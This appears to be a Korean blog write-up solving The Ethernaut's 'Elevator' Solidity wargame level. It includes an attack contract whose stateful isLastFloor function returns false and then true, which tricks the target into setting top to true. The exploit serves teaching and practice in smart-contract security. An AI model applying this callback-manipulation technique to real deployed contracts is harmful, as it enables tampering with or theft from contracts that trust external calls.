Tyojong

[The Ethernaut] Elevator 본문

web3/The Ethernaut

[The Ethernaut] Elevator

Tyojong 2026. 2. 6. 12:03

문제 설명


코드 분석

Building이라는 인터페이스를 생성해 isLastFloor라는 함수를 가져와 사용한다.

 

goTo함수를 호출한 주소에 대해 인터페이스를 생성한다.

해당 인터페이스의 isLastFloor함수가 false를 반환한다면

isLastFloor의 반환값을 top변수에 넣는다.

 


익스플로잇

goTo함수를 호출한 대상으로 인터페이스를 생성해 isLastFloor 함수를 가져오기 때문에

공격 컨트랙트에 isLastFloor함수를 만들어 공격 컨트랙트에서 문제 컨트랙트의 goTo함수를 호출하게 되면 내가 원하는 기능의 isLastFloor함수를 호출 할 수 있다.

 

문제를 해결하기 위해서는 top변수가 true가 되어야 하는데 isLastFloor함수가 false를 반환해야 isLastFloor의 반환값을 top변수에 넣을 수 있다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IElevator {
        function goTo(uint256) external;
}

contract ElevatorAttack {
        uint256 public floor = 0;

        function isLastFloor(uint256 _floor) public returns (bool) {
                floor = floor + _floor;
                if (floor % 2 == 1) {
                        return false;
                } else {
                        return true;
                }
        }

        function attack(address _target) public {
                IElevator(_target).goTo(1);
        }
}

문제 컨트랙트의 goTo함수를 인터페이스로 가져온다.

공격 컨트랙트에서 attack함수를 이용해 문제 컨트랙트의 goTo함수를 1 인자와 함께 호출하면

문제 컨트랙트의 인터페이스 때문에 공격 컨트랙트의 isLastFloor함수가 실행된다.

goTo함수에 인자를 1로 넣었기 때문에 공격 컨트랙트 isLastFloor함수에 인자로 1이 들어간다.

 

문제 컨트랙트의 if문 비교에서는 공격 컨트랙트의 floor값이 1이 되기 때문에 false를 반환하지만
if문 통과 후 top변수에 담기 위해 호출하는 isLastFloor함수에서는 공격 컨트랙트의 floor값이 2가 되기 때문에 true를 반환해

문제 컨트랙트의 top변수에는 true가 담기게 된다.

 

익스플로잇 코드 실행 전 top의 값을 확인해보면 false가 담겨있다.

공격 컨트랙트 배포 후 attack 함수를 실행하면

top값이 true로 변경된 것을 알 수 있다.

 

'web3 > The Ethernaut' 카테고리의 다른 글

[The Ethernaut] Re-entrancy  (0) 2026.02.05
[The Ethernaut] King  (2) 2026.02.03
[The Ethernaut] Vault  (0) 2026.01.28
[The Ethernaut] Force  (0) 2026.01.28
[The Ethernaut] Delegation  (0) 2026.01.27